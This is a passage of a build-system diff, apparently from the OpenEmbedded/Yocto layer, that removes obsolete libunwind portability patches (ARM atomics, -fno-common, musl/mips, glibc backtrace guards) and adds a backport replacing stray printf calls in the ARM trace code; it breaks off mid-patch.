-From: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
-Date: Tue, 13 May 2014 23:32:27 +0200
-Subject: [PATCH 1/6] Add AO_REQUIRE_CAS to fix build on ARM < v6
-
-ARM earlier than ARMv6, such as ARMv4 and ARMv5 do not provide
-optimize atomic operations in libatomic_ops. Since libunwind is using
-such operations, it should define AO_REQUIRE_CAS before including
-<atomic_ops.h> so that libatomic_ops knows it should use emulated
-atomic operations instead (even though they are obviously a lot more
-expensive).
-
-Also, while real atomic operations are all inline functions and
-therefore linking against libatomic_ops was not required, the emulated
-atomic operations actually require linking against libatomic_ops, so
-the commented AC_CHECK_LIB test in acinclude.m4 is uncommented to make
-sure we link against libatomic_ops.
-
-Signed-off-by: Thomas Petazzoni <thomas.petazzoni@free-electrons.com>
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
-Upstream-Status: Pending
-Taken from:
-https://raw.githubusercontent.com/rdnetto/teapot-buildroot/master/package/libunwind/libunwind-02-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
-
----
- acinclude.m4 | 8 +-------
- include/libunwind_i.h | 1 +
- 2 files changed, 2 insertions(+), 7 deletions(-)
-
-diff --git a/acinclude.m4 b/acinclude.m4
-index 497f7c2..9c15af1 100644
---- a/acinclude.m4
-+++ b/acinclude.m4
-@@ -22,11 +22,5 @@ fi])
- AC_DEFUN([CHECK_ATOMIC_OPS],
- [dnl Check whether the system has the atomic_ops package installed.
- AC_CHECK_HEADERS(atomic_ops.h)
--#
--# Don't link against libatomic_ops for now. We don't want libunwind
--# to depend on libatomic_ops.so. Fortunately, none of the platforms
--# we care about so far need libatomic_ops.a (everything is done via
--# inline macros).
--#
--# AC_CHECK_LIB(atomic_ops, main)
-+ AC_CHECK_LIB(atomic_ops, main)
- ])
-diff --git a/include/libunwind_i.h b/include/libunwind_i.h
-index 36cf7a1..33b4ca3 100644
---- a/include/libunwind_i.h
-+++ b/include/libunwind_i.h
-@@ -124,6 +124,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
- (pthread_mutex_unlock != NULL ? pthread_mutex_unlock (l) : 0)
-
- #ifdef HAVE_ATOMIC_OPS_H
-+# define AO_REQUIRE_CAS
- # include <atomic_ops.h>
- static inline int
- cmpxchg_ptr (void *addr, void *old, void *new)
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0001-Fix-compilation-with-fno-common.patch b/meta/recipes-support/libunwind/libunwind/0001-Fix-compilation-with-fno-common.patch
deleted file mode 100644
index e11487fe97..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0001-Fix-compilation-with-fno-common.patch
+++ /dev/null
@@ -1,448 +0,0 @@
-From 00d18b21dcb9723c4f13889a39a760a654782370 Mon Sep 17 00:00:00 2001
-From: Yichao Yu <yyc1992@gmail.com>
-Date: Tue, 31 Mar 2020 00:43:32 -0400
-Subject: [PATCH] Fix compilation with -fno-common.
-
-Making all other archs consistent with IA64 which should not have this problem.
-Also move the FIXME to the correct place.
-
-Also add some minimum comments about this...
-
-Upstream-Status: Backport [https://github.com/libunwind/libunwind/pull/166]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/aarch64/Ginit.c | 15 +++++++--------
- src/arm/Ginit.c | 15 +++++++--------
- src/coredump/_UPT_get_dyn_info_list_addr.c | 5 +++++
- src/hppa/Ginit.c | 15 +++++++--------
- src/ia64/Ginit.c | 1 +
- src/mi/Gfind_dynamic_proc_info.c | 1 +
- src/mips/Ginit.c | 15 +++++++--------
- src/ppc32/Ginit.c | 11 +++++++----
- src/ppc64/Ginit.c | 11 +++++++----
- src/ptrace/_UPT_get_dyn_info_list_addr.c | 5 +++++
- src/s390x/Ginit.c | 15 +++++++--------
- src/sh/Ginit.c | 15 +++++++--------
- src/tilegx/Ginit.c | 15 +++++++--------
- src/x86/Ginit.c | 15 +++++++--------
- src/x86_64/Ginit.c | 15 +++++++--------
- 15 files changed, 89 insertions(+), 80 deletions(-)
-
-diff --git a/src/aarch64/Ginit.c b/src/aarch64/Ginit.c
-index dec235c..3538976 100644
---- a/src/aarch64/Ginit.c
-+++ b/src/aarch64/Ginit.c
-@@ -61,13 +61,6 @@ tdep_uc_addr (unw_tdep_context_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -78,7 +71,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/arm/Ginit.c b/src/arm/Ginit.c
-index 2720d06..0bac0d7 100644
---- a/src/arm/Ginit.c
-+++ b/src/arm/Ginit.c
-@@ -57,18 +57,17 @@ tdep_uc_addr (unw_tdep_context_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/coredump/_UPT_get_dyn_info_list_addr.c b/src/coredump/_UPT_get_dyn_info_list_addr.c
-index 0d11905..739ed05 100644
---- a/src/coredump/_UPT_get_dyn_info_list_addr.c
-+++ b/src/coredump/_UPT_get_dyn_info_list_addr.c
-@@ -74,6 +74,11 @@ get_list_addr (unw_addr_space_t as, unw_word_t *dil_addr, void *arg,
-
- #else
-
-+/* XXX fix me: there is currently no way to locate the dyn-info list
-+ by a remote unwinder. On ia64, this is done via a special
-+ unwind-table entry. Perhaps something similar can be done with
-+ DWARF2 unwind info. */
-+
- static inline int
- get_list_addr (unw_addr_space_t as, unw_word_t *dil_addr, void *arg,
- int *countp)
-diff --git a/src/hppa/Ginit.c b/src/hppa/Ginit.c
-index 461e4b9..265455a 100644
---- a/src/hppa/Ginit.c
-+++ b/src/hppa/Ginit.c
-@@ -64,13 +64,6 @@ _Uhppa_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -81,7 +74,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/ia64/Ginit.c b/src/ia64/Ginit.c
-index b09a2ad..8601bb3 100644
---- a/src/ia64/Ginit.c
-+++ b/src/ia64/Ginit.c
-@@ -68,6 +68,7 @@ get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- if (!_U_dyn_info_list_addr)
- return -UNW_ENOINFO;
- #endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
- *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-diff --git a/src/mi/Gfind_dynamic_proc_info.c b/src/mi/Gfind_dynamic_proc_info.c
-index 98d3501..2e7c62e 100644
---- a/src/mi/Gfind_dynamic_proc_info.c
-+++ b/src/mi/Gfind_dynamic_proc_info.c
-@@ -49,6 +49,7 @@ local_find_proc_info (unw_addr_space_t as, unw_word_t ip, unw_proc_info_t *pi,
- return -UNW_ENOINFO;
- #endif
-
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
- list = (unw_dyn_info_list_t *) (uintptr_t) _U_dyn_info_list_addr ();
- for (di = list->first; di; di = di->next)
- if (ip >= di->start_ip && ip < di->end_ip)
-diff --git a/src/mips/Ginit.c b/src/mips/Ginit.c
-index 3df170c..bf7a8f5 100644
---- a/src/mips/Ginit.c
-+++ b/src/mips/Ginit.c
-@@ -69,13 +69,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -86,7 +79,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) (intptr_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/ppc32/Ginit.c b/src/ppc32/Ginit.c
-index c5312d9..f8d6886 100644
---- a/src/ppc32/Ginit.c
-+++ b/src/ppc32/Ginit.c
-@@ -91,9 +91,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -104,7 +101,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/ppc64/Ginit.c b/src/ppc64/Ginit.c
-index 4c88cd6..7bfb395 100644
---- a/src/ppc64/Ginit.c
-+++ b/src/ppc64/Ginit.c
-@@ -95,9 +95,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -108,7 +105,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/ptrace/_UPT_get_dyn_info_list_addr.c b/src/ptrace/_UPT_get_dyn_info_list_addr.c
-index cc5ed04..16671d4 100644
---- a/src/ptrace/_UPT_get_dyn_info_list_addr.c
-+++ b/src/ptrace/_UPT_get_dyn_info_list_addr.c
-@@ -71,6 +71,11 @@ get_list_addr (unw_addr_space_t as, unw_word_t *dil_addr, void *arg,
-
- #else
-
-+/* XXX fix me: there is currently no way to locate the dyn-info list
-+ by a remote unwinder. On ia64, this is done via a special
-+ unwind-table entry. Perhaps something similar can be done with
-+ DWARF2 unwind info. */
-+
- static inline int
- get_list_addr (unw_addr_space_t as, unw_word_t *dil_addr, void *arg,
- int *countp)
-diff --git a/src/s390x/Ginit.c b/src/s390x/Ginit.c
-index f0886ac..db01743 100644
---- a/src/s390x/Ginit.c
-+++ b/src/s390x/Ginit.c
-@@ -50,8 +50,6 @@ static struct unw_addr_space local_addr_space;
-
- unw_addr_space_t unw_local_addr_space = &local_addr_space;
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
- static inline void *
- uc_addr (ucontext_t *uc, int reg)
- {
-@@ -75,11 +73,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -90,7 +83,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/sh/Ginit.c b/src/sh/Ginit.c
-index 52988a7..9fe96d2 100644
---- a/src/sh/Ginit.c
-+++ b/src/sh/Ginit.c
-@@ -58,13 +58,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -75,7 +68,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/tilegx/Ginit.c b/src/tilegx/Ginit.c
-index 7564a55..925e641 100644
---- a/src/tilegx/Ginit.c
-+++ b/src/tilegx/Ginit.c
-@@ -64,13 +64,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -81,7 +74,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) (intptr_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/x86/Ginit.c b/src/x86/Ginit.c
-index f6b8dc2..3cec74a 100644
---- a/src/x86/Ginit.c
-+++ b/src/x86/Ginit.c
-@@ -54,13 +54,6 @@ tdep_uc_addr (ucontext_t *uc, int reg)
-
- # endif /* UNW_LOCAL_ONLY */
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -71,7 +64,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
-diff --git a/src/x86_64/Ginit.c b/src/x86_64/Ginit.c
-index 6161da6..5c4e426 100644
---- a/src/x86_64/Ginit.c
-+++ b/src/x86_64/Ginit.c
-@@ -49,13 +49,6 @@ static struct unw_addr_space local_addr_space;
-
- unw_addr_space_t unw_local_addr_space = &local_addr_space;
-
--HIDDEN unw_dyn_info_list_t _U_dyn_info_list;
--
--/* XXX fix me: there is currently no way to locate the dyn-info list
-- by a remote unwinder. On ia64, this is done via a special
-- unwind-table entry. Perhaps something similar can be done with
-- DWARF2 unwind info. */
--
- static void
- put_unwind_info (unw_addr_space_t as, unw_proc_info_t *proc_info, void *arg)
- {
-@@ -66,7 +59,13 @@ static int
- get_dyn_info_list_addr (unw_addr_space_t as, unw_word_t *dyn_info_list_addr,
- void *arg)
- {
-- *dyn_info_list_addr = (unw_word_t) &_U_dyn_info_list;
-+#ifndef UNW_LOCAL_ONLY
-+# pragma weak _U_dyn_info_list_addr
-+ if (!_U_dyn_info_list_addr)
-+ return -UNW_ENOINFO;
-+#endif
-+ // Access the `_U_dyn_info_list` from `LOCAL_ONLY` library, i.e. libunwind.so.
-+ *dyn_info_list_addr = _U_dyn_info_list_addr ();
- return 0;
- }
-
---
-2.28.0
-
diff --git a/meta/recipes-support/libunwind/libunwind/0001-src-Gtrace-remove-unguarded-print-calls.patch b/meta/recipes-support/libunwind/libunwind/0001-src-Gtrace-remove-unguarded-print-calls.patch
new file mode 100644
index 0000000000..5840c2b4f6
--- /dev/null
+++ b/meta/recipes-support/libunwind/libunwind/0001-src-Gtrace-remove-unguarded-print-calls.patch
@@ -0,0 +1,52 @@
+From 9b27fa9bcd5cadd4c841c42710f41a090377e531 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Fri, 24 Mar 2023 16:18:44 +0000
+Subject: [PATCH] src/Gtrace: remove unguarded print() calls
+
+There is a use of printf() without #include stdio.h in src/arm/Gtrace.c,
+which results in a compiler error if clang 16 is used:
+
+src/arm/Gtrace.c:529:7: error: call to undeclared library function
+'printf' with type 'int (const char *, ...)'; ISO C99 and later do not
+support implicit function declarations [-Wimplicit-function-declaration]
+
+Replace the printf("XXX") with a Dprintf, so it doesn't pull stdio in
+unless in a debug build, and reword the message to be clearer.
+
+Also there is another printf("XXX") inside a FreeBSD-specific block in
+the UNW_ARM_FRAME_SIGRETURN case, replace this with a #error as the code
+needs to be implemented.
+
+Fixes #482.
+
+Upstream-Status: Backport [9b27fa9bcd5cadd4c841c42710f41a090377e531]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ src/arm/Gtrace.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/arm/Gtrace.c b/src/arm/Gtrace.c
+index 51fc281d..9e0f25af 100644
+--- a/src/arm/Gtrace.c
++++ b/src/arm/Gtrace.c
+@@ -514,7 +514,7 @@ tdep_trace (unw_cursor_t *cursor, void **buffer, int *size)
+ if (likely(ret >= 0))
+ ACCESS_MEM_FAST(ret, c->validate, d, cfa + LINUX_SC_LR_OFF, lr);
+ #elif defined(__FreeBSD__)
+- printf("XXX\n");
++ #error implement UNW_ARM_FRAME_SIGRETURN on FreeBSD
+ #endif
+
+ /* Resume stack at signal restoration point. The stack is not
+@@ -526,7 +526,7 @@ tdep_trace (unw_cursor_t *cursor, void **buffer, int *size)
+ break;
+
+ case UNW_ARM_FRAME_SYSCALL:
+- printf("XXX1\n");
++ Dprintf ("%s: implement me\n", __FUNCTION__);
+ break;
+
+ default:
+--
+2.34.1
+
diff --git a/meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch b/meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch
deleted file mode 100644
index 1b862dccb1..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0002-backtrace-Use-only-with-glibc-and-uclibc.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From b61446add7ae1c041266c2fa5ba2f51cb3b65d35 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 06:44:07 +0000
-Subject: [PATCH 2/6] backtrace: Use only with glibc and uclibc
-
-backtrace API is glibc specific not linux specific
-so make it behave so.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- tests/test-coredump-unwind.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/tests/test-coredump-unwind.c b/tests/test-coredump-unwind.c
-index 5349823..3b153cb 100644
---- a/tests/test-coredump-unwind.c
-+++ b/tests/test-coredump-unwind.c
-@@ -57,7 +57,9 @@
- #include <grp.h>
-
- /* For SIGSEGV handler code */
-+#ifdef __GLIBC__
- #include <execinfo.h>
-+#endif
- #include <sys/ucontext.h>
-
- #include <libunwind-coredump.h>
-@@ -238,11 +240,11 @@ void handle_sigsegv(int sig, siginfo_t *info, void *ucontext)
- ip);
-
- {
-+#ifdef __GLIBC__
- /* glibc extension */
- void *array[50];
- int size;
- size = backtrace(array, 50);
--#ifdef __linux__
- backtrace_symbols_fd(array, size, 2);
- #endif
- }
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch b/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
deleted file mode 100644
index 508ed6af38..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0003-x86-Stub-out-x86_local_resume.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From f6866b9e4a6341c50eb1d923dbf48eca2ca40140 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 22 Mar 2016 16:19:29 +0000
-Subject: [PATCH 3/6] x86: Stub out x86_local_resume()
-
-its purpose seems
-to be unwinding across signal handler boundaries, which cannot happen
-in correct programs anyway. Replacing the whole function with
-something like *(volatile char *)0=0; (i.e. crash), gets a working
-libunwind
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/x86/Gos-linux.c | 22 +---------------------
- 1 file changed, 1 insertion(+), 21 deletions(-)
-
-diff --git a/src/x86/Gos-linux.c b/src/x86/Gos-linux.c
-index fb9a5e3..c25ae0c 100644
---- a/src/x86/Gos-linux.c
-+++ b/src/x86/Gos-linux.c
-@@ -284,27 +284,7 @@ x86_r_uc_addr (ucontext_t *uc, int reg)
- HIDDEN int
- x86_local_resume (unw_addr_space_t as, unw_cursor_t *cursor, void *arg)
- {
-- struct cursor *c = (struct cursor *) cursor;
-- ucontext_t *uc = c->uc;
--
-- /* Ensure c->pi is up-to-date. On x86, it's relatively common to be
-- missing DWARF unwind info. We don't want to fail in that case,
-- because the frame-chain still would let us do a backtrace at
-- least. */
-- dwarf_make_proc_info (&c->dwarf);
--
-- if (unlikely (c->sigcontext_format != X86_SCF_NONE))
-- {
-- struct sigcontext *sc = (struct sigcontext *) c->sigcontext_addr;
--
-- Debug (8, "resuming at ip=%x via sigreturn(%p)\n", c->dwarf.ip, sc);
-- x86_sigreturn (sc);
-- }
-- else
-- {
-- Debug (8, "resuming at ip=%x via setcontext()\n", c->dwarf.ip);
-- setcontext (uc);
-- }
-+ *(volatile char *)0=0;
- return -UNW_EINVAL;
- }
-
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0004-Fix-build-on-mips-musl.patch b/meta/recipes-support/libunwind/libunwind/0004-Fix-build-on-mips-musl.patch
deleted file mode 100644
index 124d0e00b1..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0004-Fix-build-on-mips-musl.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From 6bdab5cc8f1e2ec5f84fc9f59f1699a726980709 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 23 Mar 2016 06:08:59 +0000
-Subject: [PATCH 4/6] Fix build on mips/musl
-
-Do not include endian.h on musl it includes
-further headers which can not be compiled in __ASSEMBLER__
- mode
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/coredump/_UCD_internal.h | 35 +++++++++++++++++++++++++++++++++++
- src/mips/getcontext.S | 3 +--
- 2 files changed, 36 insertions(+), 2 deletions(-)
-
-diff --git a/src/coredump/_UCD_internal.h b/src/coredump/_UCD_internal.h
-index 3c95a2a..21ed1c3 100644
---- a/src/coredump/_UCD_internal.h
-+++ b/src/coredump/_UCD_internal.h
-@@ -44,6 +44,41 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
-
- #include "libunwind_i.h"
-
-+#ifndef __GLIBC__
-+#include <sys/reg.h>
-+
-+#define EF_REG0 6
-+#define EF_REG1 7
-+#define EF_REG2 8
-+#define EF_REG3 9
-+#define EF_REG4 10
-+#define EF_REG5 11
-+#define EF_REG6 12
-+#define EF_REG7 13
-+#define EF_REG8 14
-+#define EF_REG9 15
-+#define EF_REG10 16
-+#define EF_REG11 17
-+#define EF_REG12 18
-+#define EF_REG13 19
-+#define EF_REG14 20
-+#define EF_REG15 21
-+#define EF_REG16 22
-+#define EF_REG17 23
-+#define EF_REG18 24
-+#define EF_REG19 25
-+#define EF_REG20 26
-+#define EF_REG21 27
-+#define EF_REG22 28
-+#define EF_REG23 29
-+#define EF_REG24 30
-+#define EF_REG25 31
-+#define EF_REG28 34
-+#define EF_REG29 35
-+#define EF_REG30 36
-+#define EF_REG31 37
-+#endif
-+
-
- #if SIZEOF_OFF_T == 4
- typedef uint32_t uoff_t;
-diff --git a/src/mips/getcontext.S b/src/mips/getcontext.S
-index d1dbd57..de9b681 100644
---- a/src/mips/getcontext.S
-+++ b/src/mips/getcontext.S
-@@ -24,12 +24,11 @@ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
-
- #include "offsets.h"
--#include <endian.h>
-
- .text
-
- #if _MIPS_SIM == _ABIO32
--# if __BYTE_ORDER == __BIG_ENDIAN
-+# if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
- # define OFFSET 4
- # else
- # define OFFSET 0
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch b/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
index edaa822be1..e58a71b741 100644
--- a/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
+++ b/meta/recipes-support/libunwind/libunwind/0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch
@@ -1,7 +1,8 @@
-From 02919d74b1599979884f9cee466ed392d9fc4819 Mon Sep 17 00:00:00 2001
+From 24c751f9d21e892a9833e1b70a696b07872b0f7f Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 9 Jul 2016 01:07:53 +0000
-Subject: [PATCH 5/6] ppc32: Consider ucontext mismatches between glibc and
+Subject: [PATCH] ppc32: Consider ucontext mismatches between glibc and
+
